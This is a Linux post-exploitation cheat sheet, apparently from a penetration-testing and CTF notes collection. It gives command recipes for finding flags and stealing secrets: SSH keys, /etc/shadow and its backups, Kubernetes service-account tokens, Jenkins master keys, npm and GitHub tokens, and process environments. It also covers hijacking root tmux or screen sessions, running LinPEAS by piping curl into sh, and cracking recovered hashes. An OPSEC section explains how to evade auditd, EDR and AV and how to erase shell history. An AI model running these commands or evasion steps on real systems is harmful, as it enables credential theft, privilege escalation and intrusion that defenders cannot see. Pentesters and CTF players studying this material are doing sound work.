linux-credential-flag-hunting.md (17318B)
1 --- 2 title: "Linux Credential & Flag Hunting" 3 description: "Find flags, passwords, keys and secrets on Linux: find/grep recipes, history files, config secrets, SSH keys and automated tools." 4 category: password-attacks 5 subcategory: "Credential & Flag Hunting" 6 tags: [linux, credentials, flags, post-exploitation, enumeration, gpg, kubernetes, jenkins, snmp, tmux] 7 tools: [find, grep, LinPEAS, LaZagne, pspy, unix-privesc-check, gpg, kubectl, nmcli] 8 difficulty: intermediate 9 updated: "2026-09-25" 10 source: "repo:Password-Attacks/linux-credential-flag-hunting.md" 11 --- 12 13 # Linux Credential & Flag Hunting 14 15 Post-compromise searching on Linux: locate proof flags, then sweep for passwords, keys, and secrets that enable lateral movement or privilege escalation. 16 17 > **Golden rule —** append `2>/dev/null` to every recursive `find`/`grep` from `/` so permission-denied noise does not bury real hits. 18 19 --- 20 21 ## Phase 1 — Flag Hunting 22 23 ```bash 24 # The usual CTF / exam proof files, anywhere on disk 25 find / -type f \( -iname 'user.txt' -o -iname 'root.txt' -o -iname 'proof.txt' -o -iname 'flag*.txt' \) 2>/dev/null 26 27 # Common fixed locations 28 cat /home/*/user.txt 2>/dev/null 29 cat /root/root.txt 2>/dev/null 30 31 # Anything that looks like a hash-style flag inside files (HTB/THM style) 32 grep -rlE '[A-Fa-f0-9]{32}' /home /root 2>/dev/null 33 34 # Flag left in an unusual name/extension 35 find / -type f -iname '*flag*' 2>/dev/null 36 ``` 37 38 --- 39 40 ## Phase 2 — The `find` Cheat Card 41 42 ```bash 43 # By name (case-insensitive), suppress errors 44 find / -iname 'id_rsa' 2>/dev/null 45 46 # By multiple extensions 47 find / -type f \( -name '*.conf' -o -name '*.config' -o -name '*.cnf' \) 2>/dev/null 48 49 # Files modified in the last day (fresh loot after a deploy) 50 find / -type f -mmin -60 2>/dev/null # last 60 minutes 51 find / -type f -newermt '2026-09-01' 2>/dev/null # since a date 52 53 # World-writable files and dirs (tampering / privesc) 54 find / -type f -perm -o+w 2>/dev/null 55 find / -writable -type d 2>/dev/null 56 57 # SUID / SGID binaries (privesc paths — cross-check GTFOBins) 58 find / -perm -4000 -type f 2>/dev/null # SUID 59 find / -perm -2000 -type f 2>/dev/null # SGID 60 61 # Files owned by a specific user 62 find / -user root -type f -perm -o+r 2>/dev/null 63 64 # Files with capabilities (modern privesc vector) 65 getcap -r / 2>/dev/null 66 ``` 67 68 --- 69 70 ## Phase 3 — Grep for Secrets 71 72 ```bash 73 # Recursive, case-insensitive, show filename + line 74 grep -rniE 'password|passwd|pwd|secret|api[_-]?key|token' /etc /opt /var/www /home 2>/dev/null 75 76 # Assignment patterns only (cuts false positives) 77 grep -rniE '(pass(word)?|secret|token)\s*[=:]\s*\S+' /var/www /opt 2>/dev/null 78 79 # Search only useful file types across a web root 80 grep -rniE 'password|secret' /var/www --include='*.php' --include='*.env' --include='*.yml' --include='*.ini' 2>/dev/null 81 82 # ripgrep is far faster if present 83 rg -i --no-ignore -e 'password' -e 'secret' -e 'api_key' /var/www /opt 2>/dev/null 84 ``` 85 86 --- 87 88 ## Phase 4 — High-Value File Locations 89 90 ### Credential & config files 91 ```bash 92 # Shell / app history — often holds passwords typed on the CLI 93 cat ~/.bash_history ~/.zsh_history 2>/dev/null 94 cat ~/.mysql_history ~/.psql_history ~/.python_history 2>/dev/null 95 find / \( -name '.*_history' -o -name '.bash_history' \) 2>/dev/null 96 97 # Credentials cached by common tools 98 cat ~/.netrc ~/.git-credentials 2>/dev/null # plaintext creds 99 cat ~/.aws/credentials ~/.config/gcloud/*.json 2>/dev/null 100 cat ~/.docker/config.json 2>/dev/null # base64 registry auth 101 find / -name '*.kdbx' 2>/dev/null # KeePass databases 102 103 # Web app secrets 104 find / \( -name 'wp-config.php' -o -name '.env' -o -name 'config.php' \ 105 -o -name 'settings.py' -o -name 'database.yml' -o -name 'application.properties' \) 2>/dev/null 106 107 # Backups frequently contain old-but-valid secrets 108 find / -type f \( -name '*.bak' -o -name '*.old' -o -name '*.save' -o -name '*.orig' -o -name '*~' \) 2>/dev/null 109 ``` 110 111 ### SSH keys 112 ```bash 113 # Private keys, authorized_keys, known_hosts (lateral movement) 114 find / \( -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' -o -name '*.pem' \) 2>/dev/null 115 find / -name 'authorized_keys' -o -name 'known_hosts' 2>/dev/null 116 # Recognise a private key by content, not just name 117 grep -rl 'PRIVATE KEY' /home /root /etc /opt 2>/dev/null 118 ``` 119 120 ### System credential stores 121 ```bash 122 cat /etc/passwd # users / shells / home dirs 123 cat /etc/shadow 2>/dev/null # password hashes (root only) 124 # Unshadow for cracking: unshadow passwd shadow > hashes.txt then hashcat -m 1800 125 cat /etc/sudoers /etc/sudoers.d/* 2>/dev/null # sudo rules → privesc 126 cat /etc/crontab; ls -la /etc/cron.* /var/spool/cron/ 2>/dev/null # scheduled jobs 127 ``` 128 129 ### GPG keyrings & gpg-agent 130 ```bash 131 # Keyring + private key material 132 ls -la ~/.gnupg/ 2>/dev/null # pubring.kbx, trustdb.gpg, private-keys-v1.d/ 133 find / \( -name 'secring.gpg' -o -name 'pubring.kbx' -o -name '*.gpg' -o -name '*.asc' \) 2>/dev/null 134 135 # What secret keys exist locally 136 gpg --list-secret-keys 137 138 # gpg-agent may still hold the passphrase — try decrypting loot directly 139 gpg --decrypt /path/to/secret.gpg 2>/dev/null 140 # ...or export the private key if the agent/passphrase lets you, then crack it offline 141 gpg --export-secret-keys -a > /tmp/secret.asc 2>/dev/null 142 gpg2john /tmp/secret.asc > gpg.hash && john gpg.hash 143 ``` 144 145 > **Tip —** a `~/.password-store/` (pass) tree plus a cached gpg-agent passphrase turns every `*.gpg` under it into cleartext with `pass show <name>`. 146 147 ### Cloud, cluster & CI/CD secrets 148 149 **Kubernetes** 150 ```bash 151 cat ~/.kube/config "$KUBECONFIG" /etc/kubernetes/admin.conf 2>/dev/null 152 find / \( -name 'admin.conf' -o -name 'kubeconfig' -o -path '*/.kube/config' \) 2>/dev/null 153 154 # In-pod service-account token (authenticates to the API as that SA) 155 cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null # also under /run/secrets/... 156 kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT \ 157 --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) \ 158 --certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \ 159 get secrets -A -o yaml 160 ``` 161 162 **Jenkins** (`$JENKINS_HOME`, usually `/var/lib/jenkins`) 163 ```bash 164 cat /var/lib/jenkins/credentials.xml 2>/dev/null 165 cat /var/lib/jenkins/secrets/master.key /var/lib/jenkins/secrets/hudson.util.Secret 2>/dev/null 166 find / \( -name 'credentials.xml' -o -name 'master.key' -o -name 'hudson.util.Secret' \) 2>/dev/null 167 grep -rlE '<password>|apiToken|credentialId' /var/lib/jenkins/jobs /var/lib/jenkins/users 2>/dev/null 168 ``` 169 > **Note —** decrypt the `{AQAAAB...}` blobs from `credentials.xml` via the Jenkins Script Console: `println(hudson.util.Secret.decrypt("{AQAAAB...}"))`. Offline you need `secrets/master.key` + `secrets/hudson.util.Secret` + the blob (a `jenkins-credential-decryptor` does this). 170 171 **Registry / VCS tokens** 172 ```bash 173 cat ~/.npmrc 2>/dev/null # //registry/:_authToken= or _auth= (base64 user:pass) 174 cat ~/.pypirc 2>/dev/null # [pypi] username / password 175 cat ~/.config/gh/hosts.yml 2>/dev/null # GitHub CLI oauth_token 176 grep -rniE 'ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]+|glpat-[A-Za-z0-9_-]{20}' \ 177 /home /root /opt /var/www /etc 2>/dev/null 178 env | grep -iE 'GITHUB_TOKEN|GITLAB_TOKEN|NPM_TOKEN|CI_JOB_TOKEN|PYPI' 179 ``` 180 181 ### Infrastructure-as-code & config management 182 183 **Ansible Vault** 184 ```bash 185 grep -rl 'ANSIBLE_VAULT' / 2>/dev/null # encrypted files start $ANSIBLE_VAULT;1.1;AES256 186 find / \( -name '.vault_pass*' -o -name 'vault_pass*' \) 2>/dev/null 187 grep -rniE 'vault_password_file|vault_pass' /etc/ansible ~/.ansible.cfg ./ansible.cfg 2>/dev/null 188 ansible-vault view secrets.yml --vault-password-file .vault_pass # if the pass file is on disk 189 ansible2john group_vars/all.yml > vault.hash && john vault.hash # otherwise crack it 190 ``` 191 192 **Terraform state** (secrets stored in PLAINTEXT) 193 ```bash 194 find / \( -name 'terraform.tfstate' -o -name '*.tfstate' -o -name '*.tfstate.backup' \) 2>/dev/null 195 grep -EiA2 '"(password|secret|access_key|secret_key|token|private_key)"' terraform.tfstate 2>/dev/null 196 find / \( -name '*.tfvars' -o -name '.terraformrc' -o -name 'credentials.tfrc.json' \) 2>/dev/null 197 ``` 198 199 ### Network & service credentials 200 ```bash 201 # NetworkManager saved Wi-Fi / 802.1x (root-only, 0600) 202 grep -rE 'psk=|password=' /etc/NetworkManager/system-connections/ 2>/dev/null 203 nmcli -s -g 802-11-wireless-security.psk connection show <name> 2>/dev/null 204 cat /etc/wpa_supplicant/*.conf 2>/dev/null # psk= for wpa_supplicant setups 205 206 # SNMP community strings (an RW string often = full device control) 207 grep -rEi 'community|rocommunity|rwcommunity|com2sec' /etc/snmp/*.conf 2>/dev/null 208 ``` 209 210 ### Mail spools, PHP sessions & backups 211 ```bash 212 # Local mail — password-reset mails, cron output, app notifications 213 ls -la /var/mail /var/spool/mail 2>/dev/null 214 cat /var/mail/* /var/spool/mail/* 2>/dev/null 215 216 # PHP session files can hold auth state / plaintext values 217 ls -la /var/lib/php/sessions/ /var/lib/php*/sessions/ 2>/dev/null; ls -la /tmp/sess_* 2>/dev/null 218 grep -rliE 'pass|user|token|admin' /var/lib/php/sessions/ /tmp 2>/dev/null 219 220 # Debian backs up the account DB here — shadow.bak is a classic privesc win 221 ls -la /var/backups/ 2>/dev/null 222 cat /var/backups/shadow.bak /var/backups/passwd.bak 2>/dev/null 223 ``` 224 225 > **Tip —** if `/var/backups/shadow.bak` is group/other-readable, `unshadow /etc/passwd shadow.bak > hashes.txt` then crack with hashcat `-m 1800` — no root needed to read the copy. 226 227 --- 228 229 ## Phase 5 — Runtime & Memory 230 231 ```bash 232 # Environment variables of every process (secrets passed via env) 233 for f in /proc/*/environ; do tr '\0' '\n' < "$f" 2>/dev/null; done | grep -iE 'pass|token|key|secret' | sort -u 234 235 # Your own shell environment 236 env | grep -iE 'pass|token|key|secret' 237 238 # Mounted shares / fstab creds (cifs credentials= files) 239 cat /etc/fstab 2>/dev/null; grep -rl 'credentials=' /etc 2>/dev/null 240 241 # Command lines of running processes (passwords passed as args) 242 ps auxww | grep -iE 'pass|token|-p ' 2>/dev/null 243 ``` 244 245 ### Attach to a live tmux / screen session 246 ```bash 247 # A detached session left by a privileged user = instant shell as them 248 screen -ls # your own sessions 249 ls -la /run/screen/ /var/run/screen/ /tmp/screens/ 2>/dev/null # other users' sockets: S-<user> 250 screen -x # attach to a multiuser/attached screen 251 screen -r <pid.tty.host> # reattach a named session 252 253 # tmux sockets live under /tmp/tmux-<uid>/ 254 ls -la /tmp/tmux-*/ 2>/dev/null 255 tmux -S /tmp/tmux-0/default ls # list uid-0 (root) sessions if the socket is readable 256 tmux -S /tmp/tmux-0/default attach # attach -> shell as that user 257 ``` 258 259 > **Warning —** you can only attach to a socket you can read/write: you already run as that user, the perms are loose, or you share its group. This cashes in a session someone left exposed; it does not by itself cross a privilege boundary. 260 261 ### Logs & journal (creds passed as args) 262 ```bash 263 # systemd journal — services and cron sometimes log full command lines 264 journalctl 2>/dev/null | grep -iE 'password|passwd|token|secret|key=' 265 journalctl _COMM=sudo 2>/dev/null # sudo usage; mistyped passwords can land in auth.log 266 267 # Classic text logs 268 grep -rniE 'password|passwd=|token|secret' /var/log/ 2>/dev/null 269 ``` 270 271 > **Tip —** to catch a cron job or script that passes a password as an argument *as it runs*, watch live with `pspy` (Phase 6) — the cred flashes in the process args even if it never touches disk. 272 273 --- 274 275 ## Phase 6 — Automated Tools 276 277 | Tool | Command | Notes | 278 |---|---|---| 279 | **LinPEAS** | `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh \| sh` | All-in-one privesc + secret sweep | 280 | **LinEnum** | `./LinEnum.sh -t -k password` | Keyword search mode | 281 | **LaZagne** | `./laZagne.py all` | Dumps browser/mail/wifi/db creds | 282 | **pspy** | `./pspy64` | Watch cron/processes for creds passed as args | 283 | **deepce** | `./deepce.sh` | Docker/container escape enum | 284 | **unix-privesc-check** | `./unix-privesc-check standard` | pentestmonkey script; flags weak perms on cred/config files | 285 286 ```bash 287 # Run linpeas without touching disk 288 curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee linpeas.out 289 ``` 290 291 --- 292 293 ## Quick Wins Checklist 294 295 - [ ] `sudo -l` — what can you run as root? 296 - [ ] `~/.bash_history` and other `*_history` files 297 - [ ] `id_rsa` / `.pem` keys → SSH to other hosts 298 - [ ] `.env`, `wp-config.php`, `config.php` in web roots 299 - [ ] `/etc/shadow` readable? → crack with hashcat `-m 1800` 300 - [ ] SUID binaries → check GTFOBins 301 - [ ] Cron jobs running writable scripts 302 - [ ] Reused passwords across users (`su` / DB / service) 303 - [ ] `~/.kube/config` / `/var/run/secrets/.../token` → cluster access 304 - [ ] tmux/screen socket left by root (`/tmp/tmux-*`, `/run/screen/`) → attach 305 - [ ] `/var/backups/shadow.bak` readable? → `unshadow` + hashcat `-m 1800` 306 - [ ] Jenkins `credentials.xml` + `secrets/master.key` + `hudson.util.Secret` 307 - [ ] `terraform.tfstate` plaintext / Ansible Vault + `.vault_pass` 308 - [ ] `~/.npmrc` `_authToken`, `ghp_`/`glpat-` PATs, `~/.config/gh/hosts.yml` 309 - [ ] NetworkManager `psk=` / SNMP `rwcommunity` 310 311 --- 312 313 ## Troubleshooting 314 315 | Problem | Cause & fix | 316 |---------|-------------| 317 | `find /` floods the terminal with `Permission denied` | An unprivileged walk hits `/proc`, `/sys` and `/run`. Append `2>/dev/null`, and add `-xdev` to stay on one filesystem | 318 | `find /` hangs for minutes | It is walking NFS/CIFS mounts. `-xdev` stops it at the mount boundary, or prune explicitly: `find / -path /mnt -prune -o -name '*.kdbx' -print` | 319 | `grep -r` prints `Binary file ... matches` and nothing useful | `-a` treats binaries as text (good for core dumps and memory images); `-I` skips them entirely when you only want config files | 320 | `grep -r password /` returns thousands of lines | Anchor on assignment syntax instead of the bare word: `grep -rEn "(password\|passwd\|secret\|api_key)\s*[=:]\s*\S" --include=*.{conf,cfg,ini,env,yml,yaml,php,json} / 2>/dev/null` | 321 | `locate` finds nothing that clearly exists | `mlocate.db` is stale and `updatedb` needs root. Fall back to `find` | 322 | `/proc/<pid>/environ` is unreadable for other users | Either `hidepid=2` is set on `/proc`, or the process is not yours. Both resolve after privesc — re-run the sweep as root | 323 | `/etc/shadow` is unreadable | Expected as a normal user. Go for copies instead: `/var/backups/shadow.bak`, `/etc/shadow-`, container images, and old tarballs under `/opt` | 324 | Shell history files are empty | `HISTFILE` is unset, or the session that would flush it is still open. Check every user's `~/.bash_history`, `~/.zsh_history`, `~/.python_history` and `~/.mysql_history` | 325 | A recovered SSH key is rejected | `chmod 600` the copy — OpenSSH refuses world-readable keys. If it prompts for a passphrase, run `ssh2john id_rsa > hash` and crack it | 326 | `sudo -l` asks for a password you do not have | Not a dead end: `sudo -l` output is only one source. Check `/etc/sudoers.d/`, group membership (`id`), and SUID binaries directly | 327 328 ## Detection & OPSEC 329 330 Credential hunting is loud in ways that are easy to avoid. 331 332 - **A full `find /` walk touches every inode** and lights up auditd `path` rules plus any EDR with filesystem telemetry. Scope to the directories that actually pay: `/home`, `/var/www`, `/opt`, `/etc`, `/srv`. 333 - **`atime` updates are a forensic trail.** Most modern mounts use `relatime`, so reads still move `atime` once a day. `find` with `-noleaf` does not help; if timestamps matter, prefer targeted reads over recursive greps. 334 - **Downloading LinPEAS to disk writes an artifact** and is signatured by most AV on Linux endpoints. Pipe it into memory instead: `curl -s <url> | sh`, and accept that you lose the ability to re-run it offline. 335 - **Reading `/proc/*/environ` and `/proc/*/cmdline` at scale** is a recognised credential-access pattern (MITRE **T1552.001**, *Credentials In Files*). Sysdig and Falco ship rules for it out of the box. 336 - **Your own commands land in history.** `unset HISTFILE` or `export HISTFILE=/dev/null` before the sweep, and remember the shell writes on exit — `kill -9 $$` skips the flush. 337 - **Leave found credentials where they are.** Copying a keystore to `/tmp` is a far stronger signal than reading it in place, and `/tmp` is where defenders look first. 338 339 ## Related 340 341 * **[Windows Credential & Flag Hunting](/sheets/password-attacks/windows-credential-flag-hunting)** — same job on Windows / Evil-WinRM 342 * **[Hashcat](/sheets/password-attacks/hashcat)** — crack the hashes you recover (`-m 1800` sha512crypt, `-m 500` md5crypt) 343 * **[John the Ripper](/sheets/password-attacks/john-the-ripper)** — `unshadow` + crack `/etc/shadow` 344 * [Linux Privilege Escalation](/sheets/privilege-escalation/linux-privesc) — SUID, cron, capabilities and GTFOBins follow-ups on what you find here 345 * [Lateral Movement, Pivoting & Loot](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) — pivot outward with recovered keys/creds 346 * [Credential Hunting](/sheets/enumeration/credential-hunting) — pre-auth / external credential discovery